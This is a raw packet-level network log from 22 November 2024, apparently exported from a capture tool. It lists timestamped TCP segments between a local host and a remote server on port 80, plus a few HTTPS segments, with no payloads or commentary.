Nov 22, 2024 23:06:33.300893068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.300971031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.301259041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.301305056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.301898003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.301949978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.301960945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.302050114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.302756071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.302768946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.302808046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.303606033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.303826094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.303884029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.303951025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.304519892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.304827929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.304873943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.305450916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.305654049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.305669069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.305793047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.306215048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.306318045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.306370020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.307130098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.307142973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.307182074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.307224035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.308018923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.308075905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.308142900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.308182001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.308921099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.308933973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.308971882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.309808969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.309828997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.309875011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.309890032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.310612917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.310878992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.310926914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.311516047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.311532974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.311587095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.412203074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.412256002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.412425041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.412471056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.412743092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.412755013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.412784100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.412800074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.413310051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.413367987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.413444996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.413482904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.414216995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.414230108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.414273977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.415069103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.415119886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.415179968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.415225029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.415932894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.415982008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.415985107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.416090012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.416836977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.416856050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.416888952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.416906118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.417679071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.417736053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.417874098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.417982101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.418550968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.418576956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.418617010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.418649912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.419418097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.419550896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.419615030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.420445919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.420459032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.420881987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.421164036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.421278954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.421294928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.421408892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.422086000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.422099113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.422136068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.422167063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.422935963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.423031092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.423161983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.423825979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.423840046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.423903942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434364080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434401989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434456110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434473991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434473991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434494019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434511900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434515953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434526920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434530020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434555054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434559107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434571028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434573889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434606075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434703112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434715033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434743881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434901953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434914112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434926033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434937000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434943914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434973955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.434978008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.434999943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.435002089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.435040951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.496262074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.496278048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.496349096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.496395111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.496646881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.496850967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.496875048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.496891975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.497558117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.497570038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.497611046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.498431921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.498524904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.498584032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.499305010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.499363899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.499511003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.499552011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.500189066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.500205994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.500261068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.501014948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.501061916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.501071930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.501104116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.501897097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.502015114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.502229929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.502800941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.502811909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.502857924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.503627062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.503695965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.504209042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.504386902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.504503965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.504725933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.504787922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.505388021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.505399942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.505446911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.506287098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.506330013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.506344080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.506365061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.507126093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.507222891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.507347107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.508007050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.508090973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.508322001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.508558989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.508848906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.508893967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.508984089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.509735107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.509798050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.509943962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.510634899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.510648012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.510710001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.511492014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.511553049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.511605024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.512392044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.512404919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.512439966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.512474060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.513242960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.513489008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.513541937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.514107943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.514221907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.514267921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.515010118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.515032053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.515064001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.515079021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.515883923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.515898943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.515959978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.516717911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.516767979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.516815901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.517630100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.517679930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.517781019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.517822981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.518497944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.518553019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.518688917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.518738985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.519382000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.519395113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.519434929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.520241022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.520292044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.520435095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.520522118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.521107912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.521159887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.521306038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.521378994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.521960974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.522106886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.522209883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.522319078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.522880077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.522891998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.522938013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.523744106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.523756981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.523799896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.524636984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.524686098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.622915030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.622992039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.623137951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.623184919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.623255968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.623414993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.623440027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.623452902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.623493910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.624327898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.624443054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.624510050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.625181913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.625298023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.625333071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.625372887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.626106024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.626158953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.626594067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.626638889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.626919985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.626970053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.627125978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.627197027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.627808094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.627856970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.627870083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.627901077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.628731966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.628745079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.628787041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.629564047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.629612923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.629827023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.629874945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.630425930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.630522013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.630549908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.630666971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.631292105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.631340027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.631386995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.631452084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.632219076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.632231951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.632268906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.632286072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.633055925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.633109093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.633454084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.633501053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.633944988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.633956909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.634004116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.634805918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.634942055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.634990931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.635667086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.635710955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.635754108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.635812044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.636552095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.636601925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.636615992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.636717081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.637425900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.637455940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.637474060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.637542963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.638288021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.638336897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.638350964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.638421059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.639125109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.639184952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.639238119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.665976048 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.666587114 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.666629076 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.666656971 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.666851044 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.666872025 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.667063951 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.667381048 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.667411089 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.667470932 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.668318033 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:33.668417931 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:33.706721067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.706801891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.706908941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.706953049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.707132101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.707194090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:33.707343102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:33.707355976 CET	80	49762	185.215.113.206	192.168.2.5
